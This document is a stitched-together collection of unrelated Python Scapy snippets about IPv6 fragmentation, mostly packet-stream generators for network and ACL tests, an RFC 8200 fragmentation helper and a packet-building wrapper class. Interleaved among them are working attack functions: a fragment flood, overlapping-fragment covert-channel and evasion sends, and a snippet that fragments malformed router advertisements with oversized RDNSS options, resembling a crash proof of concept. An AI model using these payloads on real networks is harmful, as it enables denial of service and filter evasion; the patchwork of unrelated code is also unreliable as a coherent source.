def create_stream(self, src_if, packet_sizes, traffic_type=0, ipv6=0, proto=-1, ports=0, fragments=False, pkt_raw=True): """ Create input packet stream for defined interface using hosts or deleted_hosts list. :param object src_if: Interface to create packet stream for. :param list packet_sizes: List of required packet sizes. :param traffic_type: 1: ICMP packet, 2: IPv6 with EH, 0: otherwise. :return: Stream of packets. """ pkts = [] if self.flows.__contains__(src_if): src_hosts = self.hosts_by_pg_idx[src_if.sw_if_index] for dst_if in self.flows[src_if]: dst_hosts = self.hosts_by_pg_idx[dst_if.sw_if_index] n_int = len(dst_hosts) * len(src_hosts) for i in range(0, n_int): dst_host = dst_hosts[i / len(src_hosts)] src_host = src_hosts[i % len(src_hosts)] pkt_info = self.create_packet_info(src_if, dst_if) if ipv6 == 1: pkt_info.ip = 1 elif ipv6 == 0: pkt_info.ip = 0 else: pkt_info.ip = random.choice([0, 1]) if proto == -1: pkt_info.proto = random.choice(self.proto[self.IP]) else: pkt_info.proto = proto payload = self.info_to_payload(pkt_info) p = Ether(dst=dst_host.mac, src=src_host.mac) if pkt_info.ip: p /= IPv6(dst=dst_host.ip6, src=src_host.ip6) if fragments: p /= IPv6ExtHdrFragment(offset=64, m=1) else: if fragments: p /= IP(src=src_host.ip4, dst=dst_host.ip4, flags=1, frag=64) else: p /= IP(src=src_host.ip4, dst=dst_host.ip4) if traffic_type == self.ICMP: if pkt_info.ip: p /= ICMPv6EchoRequest(type=self.icmp6_type, code=self.icmp6_code) else: p /= ICMP(type=self.icmp4_type, code=self.icmp4_code) else: p /= self.create_upper_layer(i, pkt_info.proto, ports) if pkt_raw: p /= Raw(payload) pkt_info.data = p.copy() if pkt_raw: size = random.choice(packet_sizes) self.extend_packet(p, size) pkts.append(p) return pkts
def frag_flood(): print("Fragment flood attack") flood_num_packets = 500 packets = IPv6(dst=RandIP6(destination)) / IPv6ExtHdrFragment( id=[RandNum(1, 2**32)] * flood_num_packets) packets.show() send(packets, count=int(number_packets))
def fragment_covert_channel(src, dst): payload1 = '' for i in range(1280): payload1 = payload1 + '0' payload2 = '' for i in range(1280): payload2 = payload2 + '0' # Create IPv6 Packet ip6 = IPv6() ip6.dst = dst ip6.src = src # Create ICMPv6 Packet icmpv6 = ICMPv6EchoRequest(cksum=0x7b57, data=payload1) # Create Fragments frg_hdr1 = IPv6ExtHdrFragment() # offset=0, m=1, id=511, nh=58 frg_hdr1.offset = 0 frg_hdr1.m = 1 frg_hdr1.id = 511 frg_hdr1.nh = 44 frg_hdr2 = IPv6ExtHdrFragment() # offset=162, m=0, id=511, nh=6 frg_hdr2.offset = 162 frg_hdr2.m = 0 frg_hdr2.id = 511 frg_hdr2.nh = 6 tcp_hdr = TCP() tcp_hdr.source_port = 1055 tcp_hdr.destination_port = 8080 # Create Packet for sending pkt1 = ip6/frg_hdr1/icmpv6 pkt2 = ip6/frg_hdr2/tcp_hdr/payload2 pkt1.show() pkt2.show() # Send Packets send(pkt1) send(pkt2)
def tcp_fragment(): payload1 = '' for i in range(1280): payload1 = payload1 + 'A' payload2 = '' for i in range(1280): payload2 = payload2 + 'B' # source = str(RandIP6()) packet_1 = IPv6(dst=destination, src=source) / IPv6ExtHdrFragment( offset=0, m=1, id=511, nh=58) / ICMPv6EchoRequest(cksum=0x7b57, data=payload1) packet_2 = IPv6(dst=destination, src=source) / IPv6ExtHdrFragment( offset=162, m=0, id=511, nh=6) / TCP(sport=s_port, dport=d_port) / payload2 # packet_1=ip6/frag1/icmpv6 # packet_2=ip6/frag2/tcpheader/payload2 # Send Packets send(packet_1) send(packet_2)
def generate_ip6_frags(self, payload_length, fragment_size): p_ether = Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac) p_payload = UDP(sport=1234, dport=1234) / self.payload(payload_length) p_ip6 = IPv6(src="1::1", dst=self.pg0.remote_ip6) outer_ip6 = (p_ether / IPv6(src=self.pg1.remote_ip6, dst=self.pg0.local_ip6) / IPv6ExtHdrFragment() / p_ip6 / p_payload) frags = fragment6(outer_ip6, fragment_size) p6_reply = (p_ip6 / p_payload) p6_reply.hlim -= 1 return frags, p6_reply
def validate_frag_payload_len(self, rx, proto, payload_len_expected): payload_total = 0 for p in rx: payload_total += p[IPv6].plen # First fragment has proto payload_total -= len(proto()) # Every fragment has IPv6 fragment header payload_total -= len(IPv6ExtHdrFragment()) * len(rx) self.assertEqual(payload_total, payload_len_expected)
def fragment_rfc8200(packet, identification, fragsize, _logger=None): """ Fragment an IPv6 packet per RFC 8200 :param packet: packet to fragment :param fragsize: size at which to fragment :note: IP options are not supported :returns: list of fragments """ logger = LoggerWrapper(_logger) packet = packet.__class__(str(packet)) # recalculate all values if len(packet) <= fragsize: return [packet] logger.debug(ppp("Fragmenting packet:", packet)) pkts = [] counter = 0 routing_hdr = None hop_by_hop_hdr = None upper_layer = None seen_ipv6 = False ipv6_nr = -1 l = packet.getlayer(counter) while l is not None: if l.__class__ is IPv6: if seen_ipv6: # ignore 2nd IPv6 header and everything below.. break ipv6_nr = counter seen_ipv6 = True elif l.__class__ is IPv6ExtHdrFragment: raise Exception("Already fragmented") elif l.__class__ is IPv6ExtHdrRouting: routing_hdr = counter elif l.__class__ is IPv6ExtHdrHopByHop: hop_by_hop_hdr = counter elif seen_ipv6 and not upper_layer and \ not l.__class__.__name__.startswith('IPv6ExtHdr'): upper_layer = counter counter = counter + 1 l = packet.getlayer(counter) logger.debug( "Layers seen: IPv6(#%s), Routing(#%s), HopByHop(#%s), upper(#%s)" % (ipv6_nr, routing_hdr, hop_by_hop_hdr, upper_layer)) if upper_layer is None: raise Exception("Upper layer header not found in IPv6 packet") last_per_fragment_hdr = ipv6_nr if routing_hdr is None: if hop_by_hop_hdr is not None: last_per_fragment_hdr = hop_by_hop_hdr else: last_per_fragment_hdr = routing_hdr logger.debug("Last per-fragment hdr is #%s" % (last_per_fragment_hdr)) per_fragment_headers = packet.copy() per_fragment_headers[last_per_fragment_hdr].remove_payload() logger.debug(ppp("Per-fragment headers:", per_fragment_headers)) ext_and_upper_layer = packet.getlayer(last_per_fragment_hdr)[1] hex_payload = str(ext_and_upper_layer) logger.debug("Payload length is %s" % len(hex_payload)) logger.debug(ppp("Ext and upper layer:", ext_and_upper_layer)) fragment_ext_hdr = IPv6ExtHdrFragment() logger.debug(ppp("Fragment header:", fragment_ext_hdr)) if len(per_fragment_headers) + len(fragment_ext_hdr) +\ len(ext_and_upper_layer) - len(ext_and_upper_layer.payload)\ > fragsize: raise Exception("Cannot fragment this packet - MTU too small " "(%s, %s, %s, %s, %s)" % ( len(per_fragment_headers), len(fragment_ext_hdr), len(ext_and_upper_layer), len(ext_and_upper_layer.payload), fragsize)) orig_nh = packet[IPv6].nh p = per_fragment_headers del p[IPv6].plen del p[IPv6].nh p = p / fragment_ext_hdr del p[IPv6ExtHdrFragment].nh first_payload_len_nfb = (fragsize - len(p)) / 8 p = p / Raw(hex_payload[:first_payload_len_nfb * 8]) del p[IPv6].plen p[IPv6ExtHdrFragment].nh = orig_nh p[IPv6ExtHdrFragment].id = identification p[IPv6ExtHdrFragment].offset = 0 p[IPv6ExtHdrFragment].m = 1 p = p.__class__(str(p)) logger.debug(ppp("Fragment %s:" % len(pkts), p)) pkts.append(p) offset = first_payload_len_nfb * 8 logger.debug("Offset after first fragment: %s" % offset) while len(hex_payload) > offset: p = per_fragment_headers del p[IPv6].plen del p[IPv6].nh p = p / fragment_ext_hdr del p[IPv6ExtHdrFragment].nh l_nfb = (fragsize - len(p)) / 8 p = p / Raw(hex_payload[offset:offset + l_nfb * 8]) p[IPv6ExtHdrFragment].nh = orig_nh p[IPv6ExtHdrFragment].id = identification p[IPv6ExtHdrFragment].offset = offset / 8 p[IPv6ExtHdrFragment].m = 1 p = p.__class__(str(p)) logger.debug(ppp("Fragment %s:" % len(pkts), p)) pkts.append(p) offset = offset + l_nfb * 8 pkts[-1][IPv6ExtHdrFragment].m = 0 # reset more-flags in last fragment return pkts
def create_stream(self, src_ip_if, dst_ip_if, reverse, packet_sizes, is_ip6, expect_blocked, expect_established, add_extension_header): pkts = [] rules = [] permit_rules = [] permit_and_reflect_rules = [] total_packet_count = 8 for i in range(0, total_packet_count): modulo = (i // 2) % 2 can_reflect_this_packet = (modulo == 0) is_permit = i % 2 remote_dst_index = i % len(dst_ip_if.remote_hosts) remote_dst_host = dst_ip_if.remote_hosts[remote_dst_index] if is_permit == 1: info = self.create_packet_info(src_ip_if, dst_ip_if) payload = self.info_to_payload(info) else: to_be_blocked = False if (expect_blocked and not expect_established): to_be_blocked = True if (not can_reflect_this_packet): to_be_blocked = True if to_be_blocked: payload = "to be blocked" else: info = self.create_packet_info(src_ip_if, dst_ip_if) payload = self.info_to_payload(info) if reverse: dst_mac = 'de:ad:00:00:00:00' src_mac = remote_dst_host._mac dst_ip6 = src_ip_if.remote_ip6 src_ip6 = remote_dst_host.ip6 dst_ip4 = src_ip_if.remote_ip4 src_ip4 = remote_dst_host.ip4 dst_l4 = 1234 + i src_l4 = 4321 + i else: dst_mac = src_ip_if.local_mac src_mac = src_ip_if.remote_mac src_ip6 = src_ip_if.remote_ip6 dst_ip6 = remote_dst_host.ip6 src_ip4 = src_ip_if.remote_ip4 dst_ip4 = remote_dst_host.ip4 src_l4 = 1234 + i dst_l4 = 4321 + i # default ULP should be something we do not use in tests ulp_l4 = TCP(sport=src_l4, dport=dst_l4) # potentially a chain of protocols leading to ULP ulp = ulp_l4 if can_reflect_this_packet: if is_ip6: ulp_l4 = UDP(sport=src_l4, dport=dst_l4) if add_extension_header: # prepend some extension headers ulp = (IPv6ExtHdrRouting() / IPv6ExtHdrRouting() / IPv6ExtHdrFragment(offset=0, m=1) / ulp_l4) # uncomment below to test invalid ones # ulp = IPv6ExtHdrRouting(len = 200) / ulp_l4 else: ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IPv6(src=src_ip6, dst=dst_ip6) / ulp / Raw(payload)) else: ulp_l4 = UDP(sport=src_l4, dport=dst_l4) # IPv4 does not allow extension headers, # but we rather make it a first fragment flags = 1 if add_extension_header else 0 ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IP(src=src_ip4, dst=dst_ip4, frag=0, flags=flags) / ulp / Raw(payload)) elif modulo == 1: if is_ip6: ulp_l4 = ICMPv6Unknown(type=128 + (i % 2), code=i % 2) ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IPv6(src=src_ip6, dst=dst_ip6) / ulp / Raw(payload)) else: ulp_l4 = ICMP(type=8 + (i % 2), code=i % 2) ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IP(src=src_ip4, dst=dst_ip4) / ulp / Raw(payload)) if i % 2 == 1: info.data = p.copy() size = packet_sizes[(i // 2) % len(packet_sizes)] self.extend_packet(p, size) pkts.append(p) rule_family = AF_INET6 if p.haslayer(IPv6) else AF_INET rule_prefix_len = 128 if p.haslayer(IPv6) else 32 rule_l3_layer = IPv6 if p.haslayer(IPv6) else IP if p.haslayer(UDP): rule_l4_sport = p[UDP].sport rule_l4_dport = p[UDP].dport else: if p.haslayer(ICMP): rule_l4_sport = p[ICMP].type rule_l4_dport = p[ICMP].code else: rule_l4_sport = p[ICMPv6Unknown].type rule_l4_dport = p[ICMPv6Unknown].code if p.haslayer(IPv6): rule_l4_proto = ulp_l4.overload_fields[IPv6]['nh'] else: rule_l4_proto = p[IP].proto new_rule = { 'is_permit': is_permit, 'is_ipv6': p.haslayer(IPv6), 'src_ip_addr': inet_pton(rule_family, p[rule_l3_layer].src), 'src_ip_prefix_len': rule_prefix_len, 'dst_ip_addr': inet_pton(rule_family, p[rule_l3_layer].dst), 'dst_ip_prefix_len': rule_prefix_len, 'srcport_or_icmptype_first': rule_l4_sport, 'srcport_or_icmptype_last': rule_l4_sport, 'dstport_or_icmpcode_first': rule_l4_dport, 'dstport_or_icmpcode_last': rule_l4_dport, 'proto': rule_l4_proto, } rules.append(new_rule) new_rule_permit = new_rule.copy() new_rule_permit['is_permit'] = 1 permit_rules.append(new_rule_permit) new_rule_permit_and_reflect = new_rule.copy() if can_reflect_this_packet: new_rule_permit_and_reflect['is_permit'] = 2 else: new_rule_permit_and_reflect['is_permit'] = is_permit permit_and_reflect_rules.append(new_rule_permit_and_reflect) return { 'stream': pkts, 'rules': rules, 'permit_rules': permit_rules, 'permit_and_reflect_rules': permit_and_reflect_rules }
class scapy(object): SCAPY_LAYERS = { 'ether': Ether(dst="ff:ff:ff:ff:ff:ff"), 'vlan': Dot1Q(), 'etag': None, '1588': Ether(type=0x88f7), 'arp': ARP(), 'ipv4': IP(), 'ipv4ihl': IP(ihl=10), 'ipv4_ext': IP(frag=5), 'ipv6': IPv6(src="::1"), 'ipv6_ext': IPv6(src="::1", nh=43) / IPv6ExtHdrRouting(), 'ipv6_ext2': IPv6() / IPv6ExtHdrRouting(), 'udp': UDP(), 'tcp': TCP(), 'sctp': SCTP(), 'icmp': ICMP(), 'gre': GRE(), 'raw': Raw(), 'vxlan': Vxlan(), 'inner_mac': Ether(), 'inner_vlan': Dot1Q(), 'inner_ipv4': IP(), 'inner_ipv4_ext': IP(), 'inner_ipv6': IPv6(src="::1"), 'inner_ipv6_ext': IPv6(src="::1"), 'inner_tcp': TCP(), 'inner_udp': UDP(), 'inner_sctp': SCTP(), 'inner_icmp': ICMP(), 'lldp': None, 'ip_frag': IP(frag=5), 'ipv6_frag': IPv6(src="::1") / IPv6ExtHdrFragment(), 'ip_in_ip': IP() / IP(), 'ip_in_ip_frag': IP() / IP(frag=5), 'ipv6_in_ip': IP() / IPv6(src="::1"), 'ipv6_frag_in_ip': IP() / IPv6(src="::1", nh=44) / IPv6ExtHdrFragment(), 'nvgre': None, 'geneve': "Not Implement", } def __init__(self): self.pkt = None pass def assign_pkt(self, pkt): self.pkt = pkt def add_layers(self, layers): self.pkt = None for layer in layers: if self.pkt is not None: self.pkt = self.pkt / self.SCAPY_LAYERS[layer] else: self.pkt = self.SCAPY_LAYERS[layer] def ether(self, pkt_layer, dst="ff:ff:ff:ff:ff:ff", src="00:00:20:00:00:00", type=None): if pkt_layer.name != "Ethernet": return pkt_layer.dst = dst pkt_layer.src = src if type is not None: pkt_layer.type = type def vlan(self, pkt_layer, vlan, prio=0, type=None): if pkt_layer.name != "802.1Q": return pkt_layer.vlan = int(vlan) pkt_layer.prio = prio if type is not None: pkt_layer.type = type def strip_vlan(self, element): value = None if self.pkt.haslayer('Dot1Q') is 0: return None if element == 'vlan': value = int(str(self.pkt[Dot1Q].vlan)) return value def etag(self, pkt_layer, ECIDbase=0, prio=0, type=None): if pkt_layer.name != "802.1BR": return pkt_layer.ECIDbase = int(ECIDbase) pkt_layer.prio = prio if type is not None: pkt_layer.type = type def strip_etag(self, element): value = None if self.pkt.haslayer('Dot1BR') is 0: return None if element == 'ECIDbase': value = int(str(self.pkt[Dot1BR].ECIDbase)) return value def strip_layer2(self, element): value = None layer = self.pkt.getlayer(0) if layer is None: return None if element == 'src': value = layer.src elif element == 'dst': value = layer.dst elif element == 'type': value = layer.type return value def strip_layer3(self, element): value = None layer = self.pkt.getlayer(1) if layer is None: return None if element == 'src': value = layer.src elif element == 'dst': value = layer.dst else: value = layer.getfieldval(element) return value def strip_layer4(self, element): value = None layer = self.pkt.getlayer(2) if layer is None: return None if element == 'src': value = layer.sport elif element == 'dst': value = layer.dport else: value = layer.getfieldval(element) return value def ipv4(self, pkt_layer, frag=0, src="127.0.0.1", proto=None, tos=0, dst="127.0.0.1", chksum=None, len=None, version=4, flags=None, ihl=None, ttl=64, id=1, options=None): pkt_layer.frag = frag pkt_layer.src = src if proto is not None: pkt_layer.proto = proto pkt_layer.tos = tos pkt_layer.dst = dst if chksum is not None: pkt_layer.chksum = chksum if len is not None: pkt_layer.len = len pkt_layer.version = version if flags is not None: pkt_layer.flags = flags if ihl is not None: pkt_layer.ihl = ihl pkt_layer.ttl = ttl pkt_layer.id = id if options is not None: pkt_layer.options = options def ipv6(self, pkt_layer, version=6, tc=0, fl=0, plen=0, nh=0, hlim=64, src="::1", dst="::1"): """ Configure IPv6 protocal. """ pkt_layer.version = version pkt_layer.tc = tc pkt_layer.fl = fl if plen: pkt_layer.plen = plen if nh: pkt_layer.nh = nh pkt_layer.src = src pkt_layer.dst = dst def tcp(self, pkt_layer, src=53, dst=53, flags=None, len=None, chksum=None): pkt_layer.sport = src pkt_layer.dport = dst if flags is not None: pkt_layer.flags = flags if len is not None: pkt_layer.len = len if chksum is not None: pkt_layer.chksum = chksum def udp(self, pkt_layer, src=53, dst=53, len=None, chksum=None): pkt_layer.sport = src pkt_layer.dport = dst if len is not None: pkt_layer.len = len if chksum is not None: pkt_layer.chksum = chksum def sctp(self, pkt_layer, src=53, dst=53, tag=None, len=None, chksum=None): pkt_layer.sport = src pkt_layer.dport = dst if tag is not None: pkt_layer.tag = tag if len is not None: pkt_layer.len = len if chksum is not None: pkt_layer.chksum = chksum def raw(self, pkt_layer, payload=None): if payload is not None: pkt_layer.load = '' for hex1, hex2 in payload: pkt_layer.load += struct.pack("=B", int('%s%s' % (hex1, hex2), 16)) def gre(self, pkt_layer, proto=None): if proto is not None: pkt_layer.proto = proto def vxlan(self, pkt_layer, vni=0): pkt_layer.vni = vni def read_pcap(self, file): pcap_pkts = [] try: pcap_pkts = rdpcap(file) except: pass return pcap_pkts def write_pcap(self, file): try: wrpcap(file, self.pkt) except: pass def send_pcap_pkt(self, crb=None, file='', intf='', count=1): if intf == '' or file == '' or crb is None: print "Invalid option for send packet by scapy" return content = 'pkts=rdpcap(\"%s\");sendp(pkts, iface=\"%s\", count=\"%s\" );exit()' % ( file, intf, count) cmd_file = '/tmp/scapy_%s.cmd' % intf crb.create_file(content, cmd_file) crb.send_expect("scapy -c scapy_%s.cmd &" % intf, "# ") def print_summary(self): print "Send out pkt %s" % self.pkt.summary() def send_pkt(self, intf='', count=1): self.print_summary() if intf != '': # wait few seconds for link ready countdown = 600 while countdown: link_st = subprocess.check_output("ip link show %s" % intf, stderr=subprocess.STDOUT, shell=True) if "LOWER_UP" in link_st: break else: time.sleep(0.01) countdown -= 1 continue # fix fortville can't receive packets with 00:00:00:00:00:00 if self.pkt.getlayer(0).src == "00:00:00:00:00:00": self.pkt.getlayer(0).src = get_if_hwaddr(intf) sendp(self.pkt, iface=intf, count=count)
c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa / \ Raw( load='A'.encode() * 16 * 2 + p_test_half + b"\x18\xa0" * 6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255) / \ IPv6ExtHdrFragment() / pkt l = fragment6(p_test_frag, 200) for p in l: send(p)
def create_stream( self, src_ip_if, dst_ip_if, reverse, packet_sizes, is_ip6, expect_blocked, expect_established, add_extension_header, icmp_stateful=False, ): pkts = [] rules = [] permit_rules = [] permit_and_reflect_rules = [] total_packet_count = 8 for i in range(0, total_packet_count): modulo = (i // 2) % 2 icmp_type_delta = i % 2 icmp_code = i is_udp_packet = modulo == 0 if is_udp_packet and icmp_stateful: continue is_reflectable_icmp = (icmp_stateful and icmp_type_delta == 0 and not is_udp_packet) is_reflected_icmp = is_reflectable_icmp and expect_established can_reflect_this_packet = is_udp_packet or is_reflectable_icmp is_permit = i % 2 remote_dst_index = i % len(dst_ip_if.remote_hosts) remote_dst_host = dst_ip_if.remote_hosts[remote_dst_index] if is_permit == 1: info = self.create_packet_info(src_ip_if, dst_ip_if) payload = self.info_to_payload(info) else: to_be_blocked = False if expect_blocked and not expect_established: to_be_blocked = True if not can_reflect_this_packet: to_be_blocked = True if to_be_blocked: payload = "to be blocked" else: info = self.create_packet_info(src_ip_if, dst_ip_if) payload = self.info_to_payload(info) if reverse: dst_mac = "de:ad:00:00:00:00" src_mac = remote_dst_host._mac dst_ip6 = src_ip_if.remote_ip6 src_ip6 = remote_dst_host.ip6 dst_ip4 = src_ip_if.remote_ip4 src_ip4 = remote_dst_host.ip4 dst_l4 = 1234 + i src_l4 = 4321 + i else: dst_mac = src_ip_if.local_mac src_mac = src_ip_if.remote_mac src_ip6 = src_ip_if.remote_ip6 dst_ip6 = remote_dst_host.ip6 src_ip4 = src_ip_if.remote_ip4 dst_ip4 = remote_dst_host.ip4 src_l4 = 1234 + i dst_l4 = 4321 + i if is_reflected_icmp: icmp_type_delta = 1 # default ULP should be something we do not use in tests ulp_l4 = TCP(sport=src_l4, dport=dst_l4) # potentially a chain of protocols leading to ULP ulp = ulp_l4 if is_udp_packet: if is_ip6: ulp_l4 = UDP(sport=src_l4, dport=dst_l4) if add_extension_header: # prepend some extension headers ulp = (IPv6ExtHdrRouting() / IPv6ExtHdrRouting() / IPv6ExtHdrFragment(offset=0, m=1) / ulp_l4) # uncomment below to test invalid ones # ulp = IPv6ExtHdrRouting(len = 200) / ulp_l4 else: ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IPv6(src=src_ip6, dst=dst_ip6) / ulp / Raw(payload)) else: ulp_l4 = UDP(sport=src_l4, dport=dst_l4) # IPv4 does not allow extension headers, # but we rather make it a first fragment flags = 1 if add_extension_header else 0 ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IP(src=src_ip4, dst=dst_ip4, frag=0, flags=flags) / ulp / Raw(payload)) elif modulo == 1: if is_ip6: ulp_l4 = ICMPv6Unknown(type=128 + icmp_type_delta, code=icmp_code) ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IPv6(src=src_ip6, dst=dst_ip6) / ulp / Raw(payload)) else: ulp_l4 = ICMP(type=8 - 8 * icmp_type_delta, code=icmp_code) ulp = ulp_l4 p = (Ether(dst=dst_mac, src=src_mac) / IP(src=src_ip4, dst=dst_ip4) / ulp / Raw(payload)) if i % 2 == 1: info.data = p.copy() size = packet_sizes[(i // 2) % len(packet_sizes)] self.extend_packet(p, size) pkts.append(p) rule_family = AF_INET6 if p.haslayer(IPv6) else AF_INET rule_prefix_len = 128 if p.haslayer(IPv6) else 32 rule_l3_layer = IPv6 if p.haslayer(IPv6) else IP if p.haslayer(UDP): rule_l4_sport = p[UDP].sport rule_l4_dport = p[UDP].dport else: if p.haslayer(ICMP): rule_l4_sport = p[ICMP].type rule_l4_dport = p[ICMP].code else: rule_l4_sport = p[ICMPv6Unknown].type rule_l4_dport = p[ICMPv6Unknown].code if p.haslayer(IPv6): rule_l4_proto = ulp_l4.overload_fields[IPv6]["nh"] else: rule_l4_proto = p[IP].proto new_rule = AclRule( is_permit=is_permit, proto=rule_l4_proto, src_prefix=ip_network((p[rule_l3_layer].src, rule_prefix_len)), dst_prefix=ip_network((p[rule_l3_layer].dst, rule_prefix_len)), sport_from=rule_l4_sport, sport_to=rule_l4_sport, dport_from=rule_l4_dport, dport_to=rule_l4_dport, ) rules.append(new_rule) new_rule_permit = copy.copy(new_rule) new_rule_permit.is_permit = 1 permit_rules.append(new_rule_permit) new_rule_permit_and_reflect = copy.copy(new_rule) if can_reflect_this_packet: new_rule_permit_and_reflect.is_permit = 2 else: new_rule_permit_and_reflect.is_permit = is_permit permit_and_reflect_rules.append(new_rule_permit_and_reflect) self.logger.info("create_stream pkt#%d: %s" % (i, payload)) return { "stream": pkts, "rules": rules, "permit_rules": permit_rules, "permit_and_reflect_rules": permit_and_reflect_rules, }